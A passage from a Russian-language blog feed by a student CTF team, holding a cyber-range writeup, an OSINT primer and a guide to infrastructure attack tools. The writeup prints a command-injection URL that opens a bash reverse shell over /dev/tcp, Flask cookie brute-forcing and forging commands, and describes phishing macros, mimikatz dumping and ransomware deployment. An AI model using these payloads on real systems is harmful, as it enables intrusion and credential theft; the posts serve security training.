http://10.124.249.7/api/getTime.php?format=%25B%20%25d%2c%20%25Y%3b%24(id)|echo%20mmxy2159y9%20tgodln8uzu||a%20%23%27%20|%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.127.236.244%2f3334%200%3E%261||a%20%23|%22%20|echo%20mmxy2159y9%20tgodln8uzu||a%20%23</pre>
  <p id="ie6a">После получения реверс-шелла и спустя несколько дней перечисления ресурсов системы нам удалось выполнить повышение привилегий при помощи Looney Tunables, эксплуатирующего уязвимость в загрузчике glibc:</p>
  <figure id="zMQU" class="m_column">
    <img src="https://img2.teletype.in/files/19/a6/19a6c5fd-2bcb-4408-8d84-1afdd77ad563.jpeg" width="1046" />
    <figcaption>privesc</figcaption>
  </figure>
  <p id="zE5x">Ну и далее дело оставалось за малым – загрузить и запустить шифровальщик:</p>
  <figure id="AtHw" class="m_column">
    <img src="https://img3.teletype.in/files/a9/a0/a9a0cea6-9cfb-4b61-8086-c475a69a2b31.jpeg" width="1280" />
    <figcaption>Success</figcaption>
  </figure>
  <hr />
  <h2 id="P4sh">3. Несанкционированный доступ к исследовательским данным</h2>
  <p id="sB2i">Плавно перемещаемся к следующему риску, на этот раз на ресурсе rnd.standalone.stf.</p>
  <figure id="FeAL" class="m_column">
    <img src="https://img3.teletype.in/files/29/7a/297afa74-e632-4fc9-b8e0-1baa21a447d7.png" width="2596" />
    <figcaption>Недопустимое событие</figcaption>
  </figure>
  <p id="FwGB">Начинаем вновь в веба: </p>
  <figure id="Qi6A" class="m_column">
    <img src="https://img3.teletype.in/files/26/8a/268a4d0e-1cd7-4199-9500-44946366ce1d.png" width="3542" />
    <figcaption>Home page</figcaption>
  </figure>
  <p id="jdP4">После регистрации и логина получаем доступ к функционалу смены пароля и недоступную для нас вкладку Researches.</p>
  <figure id="6FDm" class="m_column">
    <img src="https://img4.teletype.in/files/f8/0e/f80e9d0d-7933-4429-9536-4ec4862def41.png" width="3554" />
    <figcaption>Profile</figcaption>
  </figure>
  <p id="LeYL">Из интересного – какая-то сессионная кука session:</p>
  <figure id="q9BP" class="m_column">
    <img src="https://img3.teletype.in/files/2b/99/2b99cf22-ae1e-45c2-9fb3-7c993ba1273f.png" width="1182" />
    <figcaption>Cookie</figcaption>
  </figure>
  <p id="9JHq">Которая шустренько сбрутилась по словарю:</p>
  <pre id="WMsD">┌──(kali㉿kali)-[~/vskb]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie &#x27;.eJwdzkGuAjEIANC7dO2iQIHWy0wKlGhMNJnR1c-_uxN3b_n-ypb7Om7l-t4_61K2e5RrIbHZ0dMIQIcnnUKWdBPw7Mg5oy1NNgRV6yQjUebwOTCahkPtylObdkYJGj2gJoNUbxa4gJm6NkgWS4lQx8y1CAgbVvNyRj7H2n8baXopfuy5vV-P9Tx7Bo5VYuLAPkgTA6hXNTPVNtXGucImWv6_AfM-wA.Zu48cQ.PbC6DOitU7WFJg04BWp2vzNavoo&#x27; --no-literal-eval
[*] Session decodes to: {&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc&#x27;, &#x27;_user_id&#x27;: 647, &#x27;csrf_token&#x27;: &#x27;b1c206da2928937f2d13807bbb774a7b92172467&#x27;}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 897024 attemptsyr!
b&#x27;key</pre>
  <p id="csZw">Далее переподписываем куку с известным нам ключом:</p>
  <pre id="LxjW">python3 -m flask_unsign --secret &#x27;key&#x27; --sign --cookie &quot;{&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc&#x27;, &#x27;_user_id&#x27;: 1, &#x27;csrf_token&#x27;: &#x27;b1c206da2928937f2d13807bbb774a7b92172467&#x27;}&quot;</pre>
  <p id="9kMV">И получаем доступ к панели админа и вкладке Researchers. </p>
  <p id="5xYN">В истории версий одной из статьей находим ответ к заданию, тем самым реализуя это недопустимое событие:</p>
  <figure id="e6bm" class="m_column">
    <img src="https://img1.teletype.in/files/85/cc/85cc56ef-4654-4a50-a9a3-9c509b78e61a.jpeg" width="1280" />
    <figcaption>Research</figcaption>
  </figure>
  <hr />
  <h2 id="mQCK">4. Утечка конфиденциальной информации</h2>
  <p id="Lmkn">Последним событием в рамках сегодняшней статьи рассмотрим утечку конфиденциальной информации с компьютера финансового директора компании. </p>
  <figure id="K56I" class="m_column">
    <img src="https://img3.teletype.in/files/e0/12/e0129a29-e7bc-49f7-8c87-6d0d4a978e06.png" width="2592" />
    <figcaption>Риск</figcaption>
  </figure>
  <p id="DvuG">Единственное задание на инфраструктуру в рамках данного ивента, приступим =)</p>
  <p id="kZJh">Первым делом в ходе разведки мы собрали пару почтовых адресов HR-сотрудников с сайта: s_boyle@hte.stf и o_lara@hte.stf. Затем подготовили и отправили фишинговое письмо с встроенным reverse-shell макросом:  </p>
  <figure id="Jndl" class="m_column">
    <img src="https://img3.teletype.in/files/ee/13/ee13c125-d1f2-4bf6-912d-0f70bfa112c7.jpeg" width="1280" />
    <figcaption>Phishing</figcaption>
  </figure>
  <p id="0myX">В результате получили реверс-шеллы с обоих хостов: </p>
  <figure id="610f" class="m_column">
    <img src="https://img2.teletype.in/files/14/95/1495f128-7447-4fa1-a003-676733c80f59.jpeg" width="1280" />
    <figcaption>s_boyle</figcaption>
  </figure>
  <figure id="zyWF" class="m_column">
    <img src="https://img1.teletype.in/files/0e/bb/0ebba916-2e95-4c67-8ee1-d1bc02c30ce8.jpeg" width="842" />
    <figcaption>o_lara</figcaption>
  </figure>
  <p id="mDFl">Далее мы пробросили meterpreter шелл и при помощи mimikatz сдампили пару паролей:</p>
  <figure id="YOE9" class="m_column">
    <img src="https://img1.teletype.in/files/c0/e1/c0e17dbd-1786-433d-b6c3-571ab42f9dff.jpeg" width="1280" />
    <figcaption>mimikatz</figcaption>
  </figure>
  <p id="yk7n">Проверив полученную учетку мы убедились, что нашли админа...</p>
  <figure id="fKN5" class="m_column">
    <img src="https://img3.teletype.in/files/26/a8/26a84d94-0bbc-49cb-ae86-127244229713.jpeg" width="1280" />
    <figcaption>cme</figcaption>
  </figure>
  <p id="V5Qn">Или нет?</p>
  <figure id="453L" class="m_column">
    <img src="https://img1.teletype.in/files/46/4e/464e5b89-6e8a-4ec0-b1ee-28540239d2a7.jpeg" width="1280" />
    <figcaption>cme</figcaption>
  </figure>
  <p id="9d89">Продолжаем разведку, при помощи утилиты ldapdomaindump мы собрали информацию о хостах в домене:</p>
  <figure id="IbOM" class="m_column">
    <img src="https://img2.teletype.in/files/16/c6/16c67575-e216-49a5-89ac-8dae2a923636.jpeg" width="1280" />
    <figcaption>ldapdomaindump</figcaption>
  </figure>
  <p id="r75q">И открыли для себя наличие трастового домена sun.hte.stf, по этой причине наш админ и не оказался админом на втором хосте:</p>
  <figure id="QwTX" class="m_column">
    <img src="https://img1.teletype.in/files/41/70/41702549-0fc0-4b14-ad13-b87477096191.jpeg" width="1280" />
    <figcaption>ldapdomaindump</figcaption>
  </figure>
  <p id="U0H5">Путешествуя по хостам, на одном из них была найдена база данных keepass – лакомый кусочек. Мы скрутили его при помощи john the ripper</p>
  <figure id="xgHh" class="m_column">
    <img src="https://img3.teletype.in/files/e3/aa/e3aaddb3-6405-45f1-939b-ad99cb269704.jpeg" width="1280" />
    <figcaption>Keepass</figcaption>
  </figure>
  <p id="Gzf4">Внутри нашли пачку паролей, как раз админы домена sun.hte.stf – то что нужно!</p>
  <figure id="RlcA" class="m_column">
    <img src="https://img3.teletype.in/files/64/79/6479227b-48b4-4b7a-9677-6519149f881f.jpeg" width="1280" />
    <figcaption>Keepass</figcaption>
  </figure>
  <p id="Vzjo">Падаем на RDP финансового директора и реализуем недопустимое событие</p>
  <figure id="PC34" class="m_column">
    <img src="https://img3.teletype.in/files/60/88/60883481-6a53-4eea-a28d-12aef29e31d1.jpeg" width="1280" />
    <figcaption>RDP</figcaption>
  </figure>
  <hr />
  <h2 id="TCGt">Заключение</h2>
  <p id="jeIf">На сегодня это все, в следующем материале разберем оставшиеся 3 недопустимых события – поломаем википедию, курьерскую службу и...казино! До встречи =) </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/70JUy6JiKCN</guid><link>https://teletype.in/@collapsz/70JUy6JiKCN?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/70JUy6JiKCN?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>OSINT – Open Source Intelligence</title><pubDate>Sat, 21 Sep 2024 05:34:58 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/78/6a/786a8f65-8903-4ac0-a676-db754f852d78.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/36/13/3613f5f3-971f-4e92-957c-aa5b3b04b131.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="VuCk">@fefuctf @collapsz</p>
  <hr />
  <h2 id="pLFX">Вступление</h2>
  <p id="wKWp">Всем привет! </p>
  <p id="0JFQ">Сегодня в деталях познакомимся с тем, что из себя представляет разведка по открытым источникам – Open Source Intelligence или же просто OSINT. Посмотрим на её CTF проявлениях, поговорим об используемых инструментах и посмотрим, где это может пригодиться в карьере будущего специалиста. </p>
  <p id="rK9M">Приятного прочтения! </p>
  <figure id="pxMp" class="m_column">
    <img src="https://img4.teletype.in/files/36/13/3613f5f3-971f-4e92-957c-aa5b3b04b131.png" width="1200" />
  </figure>
  <h2 id="iVSL">Что такое OSINT?</h2>
  <p id="iW0Y">Open Source Intelligence (OSINT) — это дисциплина, посвященная сбору и анализу информации из открытых источников, доступных в интернете. Это может охватывать широкий спектр данных, которые можно найти практически в любых уголках сети.</p>
  <p id="8ZXq">Существуют и другие виды разведки, такие как:</p>
  <ul id="LkpD">
    <li id="ZqtF"><strong>HUMINT (Human Intelligence)</strong> — сбор информации через взаимодействие с людьми, включая беседы, допросы и наблюдение.</li>
    <li id="tt3n"><strong>SIGINT (Signal Intelligence)</strong> — анализ радиомагнитного излучения для получения разведывательных данных.</li>
  </ul>
  <p id="AWpk">Главное отличие OSINT от других способов разведки заключается в том, что вся информация, используемая в этом процессе, доступна общественности. Это делает OSINT уникальным инструментом, позволяющим получать важные сведения без необходимости доступа к закрытым или засекреченным данным.</p>
  <h2 id="KmSD">Почему OSINT так важен и популярен?</h2>
  <p id="JfB2">На начальных этапах своей карьеры многие даже не задумываются о том, на сколько в современных реалиях распространен, важен и популярен OSINT. Вот некоторые из областей его применения:</p>
  <ol id="gD9V">
    <li id="vPA5"><strong>Бизнес</strong>:</li>
    <ul id="6Hrn">
      <li id="ZzRH">Анализ конкурентной среды, выявление рыночных тенденций и возможностей.</li>
      <li id="apoW">Оценка репутации бренда через мониторинг отзывов и упоминаний в социальных сетях.</li>
    </ul>
    <li id="FEY4"><strong>Безопасность</strong>:</li>
    <ul id="vA9I">
      <li id="AYhb">Выявление угроз, связанных с кибербезопасностью, через анализ открытых данных о потенциальных уязвимостях.</li>
      <li id="KnEF">Мониторинг активностей групп, представляющих риск для информационной безопасности.</li>
    </ul>
    <li id="ZguD"><strong>Правительство</strong>:</li>
    <ul id="AYc1">
      <li id="PFL6">Анализ общественного мнения и социальных движений для поддержки принятия политических решений.</li>
      <li id="oVNu">Оценка международной ситуации, включая мониторинг новостей и публикаций из других стран.</li>
    </ul>
    <li id="fkcf"><strong>Журналистика</strong>:</li>
    <ul id="iHbr">
      <li id="eMhL">Проверка фактов и получение информации для расследований через открытые источники.</li>
      <li id="g0Qx">Сбор контента и мнений для создания объективных новостных материалов.</li>
    </ul>
  </ol>
  <p id="VQsV">Из интересных реальных кейсов могу порекомендовать ознакомиться с <a href="https://habr.com/ru/articles/833960/" target="_blank">этим.</a> В данном расследовании показано, как при помощи методов открытой разведки удалось установить точное местоположение главаря банды, разыскиваемого ФБР. Да, и такое бывает – данный тип разведки называется <strong>GEOINT.</strong></p>
  <h2 id="4EcP">Инструментарий</h2>
  <p id="veMl">Как и многие другие задачи нашей сферы, сбор информации делится на ручной и автоматический. Для каждого из них существует свой набор инструментов.</p>
  <h3 id="llSg">Ручной поиск</h3>
  <p id="UeDw">Говоря о ручном поиске, первым делом в голову приходит использование различных поисковых систем, поскольку каждый из ныне существующих поисковиков выдает различные ответы на одинаковые запросы, что зачастую может быть полезным:</p>
  <figure id="ZoPj" class="m_column">
    <img src="https://img4.teletype.in/files/f0/b2/f0b22d4e-ce82-47ae-abf8-30b60b0a519f.png" width="3600" />
    <figcaption>difference</figcaption>
  </figure>
  <p id="M6YI">Мощнейшим апгрейдом Google является использование <strong>Google Dorking</strong> — техники, позволяющей с помощью специальных ключей уточнять запрашиваемое содержимое. В рамках другой статьи мы более подробно рассмотрим эту тему, а сейчас приведем небольшой пример.</p>
  <p id="eDV2">Запрос следующего вида вернет все индексированные .pdf и .doc файлы со строгим включением &quot;Not for Public Release&quot; и &quot;Confedential&quot;, не предназначенные для широкой аудитории:</p>
  <figure id="rxhQ" class="m_column">
    <img src="https://img4.teletype.in/files/f4/fa/f4faf72b-aac2-47f1-8459-cf15132ca4bd.png" width="2744" />
    <figcaption>Dorks</figcaption>
  </figure>
  <p id="udUZ">История помнит реальный кейс, когда через такой подход произошла утечка  документов Министерства обороны США.</p>
  <p id="9P6f">В качестве помощников для доркинга можно привести инструменты DorkGPT и DorkGenius.</p>
  <h3 id="KsWA">Reverse Image Search</h3>
  <p id="5M1h">Поиском по картинке сегодня уже никого не удивишь, однако мало кто задумывался, что у этого явления есть свое определение в контексте разведки по открытым источникам. </p>
  <p id="VCog">Это называется <strong>Reverse Image Search – </strong>процесс поиска информации об изображении, использующий технику CBIR (Content Based Image Retrival). Поисковой движок анализирует содержимое изображения и возвращает наиболее релевантные результаты (работает примерно так же, как полнотекстовый поиск, просто с добавлением распознания изображений).</p>
  <figure id="zeVe" class="m_column">
    <img src="https://img3.teletype.in/files/a1/2f/a12fd040-f6c3-41c0-be4a-99dc86dda1c1.png" width="3570" />
    <figcaption>RIS</figcaption>
  </figure>
  <p id="iHY3">Из наиболее используемых можно выделить Google Images, Yandex Images, Yahoo Image Search, Baidu Image Search и TinEye.</p>
  <h3 id="L5AE">Автоматизированный поиск</h3>
  <p id="PXod">Автоматизированный поиск, как можно догадаться, подразумевает использование утилит для сбора информации.</p>
  <figure id="NChC" class="m_column">
    <img src="https://img2.teletype.in/files/51/25/5125aa85-4601-4593-af81-3999151594e3.png" width="920" />
    <figcaption>sherl</figcaption>
  </figure>
  <p id="Tyfe">В качестве примера можно привести следующий набор:</p>
  <ul id="2MoJ">
    <li id="cpJm"><a href="https://github.com/saeeddhqan/Maryam" target="_blank">Maryam </a>– утилита для поиска по имени/никнейму</li>
    <li id="VwuD"><a href="https://github.com/sherlock-project/sherlock" target="_blank">Sherlock </a>– утилита для поиска пользователя по никнейму на различных ресурсах</li>
    <li id="2LST"><a href="https://github.com/laramies/theHarvester" target="_blank">TheHarvester</a> – утилита для сбора почтовых ящиков, имен, поддменов и тд</li>
  </ul>
  <p id="jtN2">Опытный OSINT-аналитик должен обладать навыками как ручного, так и автоматизированного поиска. В одном из следующих материалов, к слову, попробуем написать свой аналог Шерлока ;)</p>
  <h2 id="0p26">CTF-like пример</h2>
  <p id="vZVG">Предлагаю ознакомиться с одним из CTF заданий данной категории на примере задачки с <a href="https://codeby.games" target="_blank">codeby.games</a> – Пропавший хост</p>
  <figure id="UpXr" class="m_column">
    <img src="https://img3.teletype.in/files/e2/a9/e2a9164d-c706-4d1e-b8f0-55a8c5f9f671.png" width="2212" />
    <figcaption>task</figcaption>
  </figure>
  <p id="3uLO">В контексте задач по открытой разведке может пригодиться любой кусочек информации из описания, поэтому ознакомиться с ним нужно крайне внимательно:</p>
  <blockquote id="yt3E">Мы обратились к специалистам по OSINT для определения геолокации IP-адреса, который, как известно, был одним из предыдущих IP-адресов сайта, предположительно связанного с неким виртуальным игровым проектом. Название этого проекта напоминает имя отрицательной корпорации, фигурирующей в одном из сериалов о хакерах. Информация о данном IP-адресе ограничивается лишь нахождением домена на этом IP-адресе в 2017. Ваша цель - определить широту и долготу искомого IP-адреса.</blockquote>
  <p id="VLLq">Важные пункты, которые мы можем выделить из этого описания:</p>
  <ul id="WHYs">
    <li id="OKFE">Виртуальный игровой проект</li>
    <li id="XwnI">Сериал о хакерах</li>
    <li id="uQnK">В сериале есть некая &quot;отрицательная&quot; корпорация</li>
    <li id="PkrM">Год нахождения домена на IP-адресе — 2017</li>
    <li id="0YTn">Необходимы широта и долгота адреса</li>
  </ul>
  <p id="T3Qv">Начать проще всего с перебора сериалов о хакерах: </p>
  <figure id="02vh" class="m_column">
    <img src="https://img1.teletype.in/files/40/d9/40d9b1d4-fdd8-4991-851e-567c657684b6.png" width="1936" />
    <figcaption>series</figcaption>
  </figure>
  <p id="oYiD">Следующим шагом является поиск &quot;отрицательной&quot; корпорации. Перебрав парочку сериалов, можно достаточно скоро наткнуться на следующее:</p>
  <figure id="1i8V" class="m_column">
    <img src="https://img3.teletype.in/files/6e/fc/6efc2d68-b57c-4a32-9979-c85e2444c4a5.png" width="1312" />
    <figcaption>mr robot corp</figcaption>
  </figure>
  <p id="ZM0b">Немного погуглив, узнаем альтернативное &quot;отрицательное&quot; название корпорации – Evil Corp:</p>
  <figure id="ql7C" class="m_column">
    <img src="https://img3.teletype.in/files/ea/69/ea69b234-dc81-4c9b-8b7b-5f4a4550a27d.png" width="1088" />
    <figcaption>E corp</figcaption>
  </figure>
  <p id="XxKO">Далее возвращаемся к нашему списку: виртуальный игровой проект и 2017 год. Начнем с проекта. Составим запрос по ключевым словам и получим список доменных имен:</p>
  <figure id="D1uK" class="m_column">
    <img src="https://img2.teletype.in/files/9d/1e/9d1e2fc1-bcde-481f-802f-32ddaad33bad.png" width="2288" />
    <figcaption>Domain list</figcaption>
  </figure>
  <p id="7xYW">Изучив полученные результаты, понимаем, что под описание игрового проекта отлично подходит домен evilcorpgame.com. Следующим шагом найдем нужный IP-адрес: мы знаем, что хост висел на нем в 2017 году.</p>
  <p id="djzJ">Воспользуемся сервисом viewdns.info:</p>
  <figure id="VUA1" class="m_column">
    <img src="https://img2.teletype.in/files/d0/39/d039747c-c8d7-4ca4-a724-ae5ee4088ef1.png" width="3044" />
    <figcaption>Viewdns</figcaption>
  </figure>
  <p id="RsIB">Видим список IP-адресов, один из которых как раз датируется 2017 годом. Имея на руках этот адрес, можем установить его геолокацию при помощи, например, maximind.com:</p>
  <figure id="xwwI" class="m_column">
    <img src="https://img3.teletype.in/files/e3/8f/e38fd2db-16be-416b-9546-45ae2b2a0d47.png" width="1910" />
    <figcaption>Maximind</figcaption>
  </figure>
  <p id="o7Ol">Полученные координаты и сдаем в качестве ответа к заданию.</p>
  <h2 id="1I33">Заключение</h2>
  <p id="MxGl">На этой прекрасной ноте заканчивается наша ознакомительная статья. Умение хорошо пользоваться Гуглом может пригодиться как в карьере, так и в учебе или повседневной жизни. Поэтому даже если вы не планируете строить карьеру OSINT-аналитика, имеет смысл выделить время на изучение базовых аспектов этого ремесла – лишним оно точно не будет =)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/qEBYlsWbBMO</guid><link>https://teletype.in/@collapsz/qEBYlsWbBMO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/qEBYlsWbBMO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Базовый инструментарий для атак на инфраструктуру </title><pubDate>Sat, 07 Sep 2024 05:20:26 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/20/62/2062d629-af0d-4230-a707-3f7024fad67c.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/6a/91/6a916fe7-44a9-457e-97ff-615525bbfc9b.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="jYFY">@fefuctf @collapsz</p>
  <hr />
  <p id="tuTB" data-align="center"><em>Инфра тема, гораздо интереснее вэбчика<br />@cherepawwka</em></p>
  <hr />
  <h2 id="fhOO">Вступление</h2>
  <p id="vKAI">Всем привет! Вы не забыли и не дали мне слиться, а потому представляю вашему вниманию чтиво по базовому инструментарию для атак на инфраструктуру=) Сразу условлюсь, что данный материал направлен на тех, кому предстоит столкнуться с инфрой впервые, если же вам уже доводилось её ломать, многое из описанного будет вам уже знакомо. Приятного прочтения!</p>
  <p id="1wtx">Начнем с утилит для проведения самого первого этапа – разведки.</p>
  <h2 id="nmap">NMAP</h2>
  <p id="rxmD">В представлении не нуждается. Официальный сайт – <a href="http://nmap.org/" target="_blank">nmap.org</a>. Классический сканер, имеющий огромное количество техник сканирования, скриптов и модулей. Поиск хостов в подсети, сканирование сервисов и их версий, определение версии OS, брутфорс учетных записей и еще многое-многое другое – это то, что может предоставить <strong>nmap</strong>. </p>
  <figure id="aNvt" class="m_column">
    <img src="https://img3.teletype.in/files/6a/91/6a916fe7-44a9-457e-97ff-615525bbfc9b.png" width="1430" />
    <figcaption>nmap -h</figcaption>
  </figure>
  <h2 id="yzjp">Rustscan</h2>
  <p id="0QDI">Одна из лучших альтернатив для nmap – <a href="https://github.com/RustScan/RustScan" target="_blank"><u>Rustscan. </u></a>Сверхбыстрый сканер портов, написанный на Rust. Сканирует все 65к портов за считанные секунды, легко устанавливается и поддерживает скрипты nmap&#x27;а</p>
  <figure id="jgcx" class="m_retina">
    <img src="https://img4.teletype.in/files/f3/3a/f33a0ee5-4dde-4590-a4df-3d8858c848e3.png" width="485" />
    <figcaption>rustscan</figcaption>
  </figure>
  <h2 id="laUL">Почта</h2>
  <p id="FBFW">На этапе разведки бывает важно собрать все почтовые адреса, расположенные в зоне скоупа. Можно пользоваться автоматизированными утилитами, например, theHarvester, однако в контексте студенческой битвы будет достаточно  внимательно изучить ресурс и найти на нем 2-3 почтовых ящика. </p>
  <h2 id="MXge">Metasploit Framework </h2>
  <p id="y2zy">MSF – мощнейшая утилита для создания и отладки эксплоитов, предустановленная в Kali Linux.</p>
  <figure id="w3o5" class="m_column">
    <img src="https://img1.teletype.in/files/8f/4c/8f4c9059-19b2-4c4d-9c3b-e11672c3389e.png" width="1334" />
    <figcaption>mfsconsole</figcaption>
  </figure>
  <p id="GBfG">Основные компоненты: </p>
  <ol id="pWeN">
    <li id="R1DQ">Metasploit Framework<strong>:</strong> Основной компонент, предоставляющий структуру и инструменты для проведения атак.</li>
    <li id="Sg1t">Metasploit Database<strong>:</strong> Содержит информацию об уязвимостях, эксплойтах, модулях и целевых системах.</li>
    <li id="27SS">Metasploit Console<strong>:</strong> Интерактивный интерфейс для управления фреймворком и выполнения задач.</li>
    <li id="i49I">Metasploit Modules<strong>:</strong> Разнообразные модули, разделенные на категории: exploits, payloads, auxiliary, post-exploitation, encoders.</li>
  </ol>
  <p id="ebtC">Поддерживает создание полезной нагрузки для получения более функционального reverse-shell соединения, умеет эксплуатировать некоторые уязвимости в автоматическом режиме, умеет готовить эксплоиты для запуска на атакуемой машине и еще многое, многое другое! Функционал фреймворка настолько обширен, что он просто-напросто обязателен к изучению. </p>
  <h2 id="gFCB">Impacket</h2>
  <p id="pMH5"><strong>Python Impacket</strong> – набор классов для работы с сетевыми протоколами</p>
  <figure id="PkOu" class="m_column">
    <img src="https://img1.teletype.in/files/c3/e2/c3e2755a-e0cf-40b3-92bc-418ad3171ff3.png" width="3128" />
    <figcaption>Python-Impacket</figcaption>
  </figure>
  <p id="mYHs">Установка: </p>
  <pre id="c2YK">sudo apt install python3-impacket</pre>
  <p id="yC7K"><strong>Impacket</strong> это мощный инструмент для тестирования на проникновение, предоставляющий широкие возможности для взаимодействия с сетевыми протоколами и службами. В потенциальные возможности <strong>Impacket</strong> входят: </p>
  <ol id="yyyY">
    <li id="xdoV">Сканирование и перечисление</li>
    <li id="PTMB">Эксплуатация уязвимостей</li>
    <li id="G6Zh">Пост-эксплуатация</li>
  </ol>
  <p id="99SJ">Из всех функций импакета могу выделить следующие наиболее используемые модули: </p>
  <ol id="G7TN">
    <li id="mwL4"><code>impacket-GetUserSPNs</code> – позволяет запросить Service Ticket для учетной записи, обладающей SPN (service principal name) и взломать его с целью получения пароля. Данная атака называется <em><strong>Kerberoasting</strong></em></li>
    <li id="lKUa"><code>impacket-GetNPUsers</code> – позволяет запросить доменных пользователей с отключенной преаутентификацией и запросить TGT на их имя без пароля, после чего можно попытаться взломать сессионный ключ, отправленный с тикетом и получить пароль пользователя. Данная атака называется <strong><em>AS-REP-Roasting</em></strong></li>
    <li id="wI98"><code>impacket-psexec</code> – позволяет запускать процессы на удаленных системах </li>
    <li id="cnmO"><code>impacket-smbclient</code> – позволяет взимодействовать с SMB сервером</li>
    <li id="ihWX"><code>impacket-getTGT</code> – позволяет запросить TGT тикет, имея на руках Kerberos ключ или NTLM хеш</li>
    <li id="2zxZ"><code>impacket-getST</code> – позволяет запросить service ticket</li>
    <li id="Cw9T"><code>impacket-wmiexec</code> – позволяет подключиться к системе и получить интерактивный шелл при помощи WMI (Windows Management Instrumentation)</li>
  </ol>
  <p id="knaB">Функционал, опять же, настолько обширен, что чтобы набить руку на эту утилиту уйдет достаточно много времени. </p>
  <h2 id="XN1e"> Kerbrute</h2>
  <p id="gvTV">Следующий на очереди инструмент – <a href="https://github.com/ropnop/kerbrute" target="_blank">Kerbrute. </a></p>
  <p id="R7j7">Утилита для быстрого и точного перечисления и брутфорса учетных записей Active Directory, использующая механизм преаутентификации Kerberos.</p>
  <p id="eHxf">Установка:</p>
  <pre id="jWYL">go get github.com/ropnop/kerbrute</pre>
  <p id="Er3m">Поддерживает атаки: bruteuser, passwordspray, userenum, bruteforce. Особо ничего и не добавишь =) </p>
  <figure id="wptW" class="m_column">
    <img src="https://img1.teletype.in/files/c1/44/c144bbcf-f1b2-4dd5-beac-736c245d48ce.png" width="2000" />
    <figcaption>Kerbrute</figcaption>
  </figure>
  <h2 id="k6HM">Crackmapexec</h2>
  <p id="Hapw">Следующий клиент – <a href="https://github.com/byt3bl33d3r/CrackMapExec" target="_blank">crakmapexec.</a> </p>
  <p id="tXvN">Утилита так же служит для перечисления и брутфорса учетных записей, но в данном случае работает со следующими протоколами: smb, mssql, win-rm, ldap, rdp, smb, ssh, ftp. </p>
  <figure id="O9fZ" class="m_column">
    <img src="https://img1.teletype.in/files/ca/d6/cad6acb8-e414-4269-abcb-94db4007cba8.png" width="1066" />
    <figcaption>crackmap</figcaption>
  </figure>
  <p id="0GT2">В Kali Linux предустановлена. </p>
  <h2 id="kBqR">NetExec</h2>
  <p id="XeOx">Еще одно Open-Source решение, следующее поколение crackmapexec – <a href="https://www.netexec.wiki" target="_blank">NetExec</a></p>
  <p id="V7vH"></p>
  <figure id="BWXa" class="m_column">
    <img src="https://img2.teletype.in/files/9f/e2/9fe24829-c446-41de-853b-e4e694c1b690.png" width="2304" />
  </figure>
  <p id="U0qR">Установка:</p>
  <pre id="mgTk">sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec</pre>
  <p id="MuQb">Утилита поддерживает работу по бОльшему количеству протоколов, поддерживает password spray, user enumeration, command execution, authorization и ряд других функций</p>
  <h2 id="toq5">ADGenerator </h2>
  <p id="9QFs">Прежде чем двинемся дальше, представьте, что вы точно знаете имя сотрудника организации, но понятия не имеете, какое имя у его учетной записи. Как быть в таком случае? Как проводить атаки на учетку, имя которой неизвестно? Здесь нас спасает незамысловатый скрипт – <a href="https://github.com/w0Tx/generate-ad-username" target="_blank">ADGenerator.</a></p>
  <p id="NSsz">Он принимает на вход список имен, из которых генерирует список учетных записей, пригодных для перечисления при помощи <em>kerbrute</em>, <em>crackmapexec</em> или <em>netexec и тд</em></p>
  <h2 id="y1nI">Bloodhound Python</h2>
  <p id="ZgS2">Базирующийся на Импакете харвестер домена – <a href="https://github.com/dirkjanm/BloodHound.py" target="_blank">Bloodhound</a> </p>
  <p id="4Ejx">Установка:</p>
  <p id="GF5T"><code>pip install bloodhound</code></p>
  <p id="Y5en">Для чего нужен данный инструмент? Представим, что вы нашли первую валидную пару учетных данных и получили доступ в домен, что дальше? Bloodhound позволяет вам сдампить всю информацию о строении домена – учетные записи, группы, администраторы, политики, взаимосвязи между ними, и представить это в виде графа: </p>
  <figure id="QLWk" class="m_column">
    <img src="https://img4.teletype.in/files/75/3a/753aa1ef-c07d-4ee8-b7fd-8d9b460b0eb6.png" width="3230" />
    <figcaption>bloodhound</figcaption>
  </figure>
  <p id="ZRXR">Это мощнейший инструмент для анализа строения атакуемого домена, который так же нередко может помочь с поиском вектора повышения привилегий. </p>
  <h2 id="9m6q">Mimikatz </h2>
  <p id="FAkQ"><a href="https://github.com/ParrotSec/mimikatz" target="_blank">Mimikatz</a> – утилита для извлечения критических данных (паролей, хешей, учетных записей, токенов доступа и других секретов) из памяти системы. Есть альтернатива, написанная на Python – <a href="https://github.com/skelsec/pypykatz" target="_blank">pypykatz</a></p>
  <figure id="gann" class="m_column">
    <img src="https://img1.teletype.in/files/82/1a/821ab49f-8d9d-4cec-bdf0-aebd3f010052.png" width="1600" />
    <figcaption>mimikatz</figcaption>
  </figure>
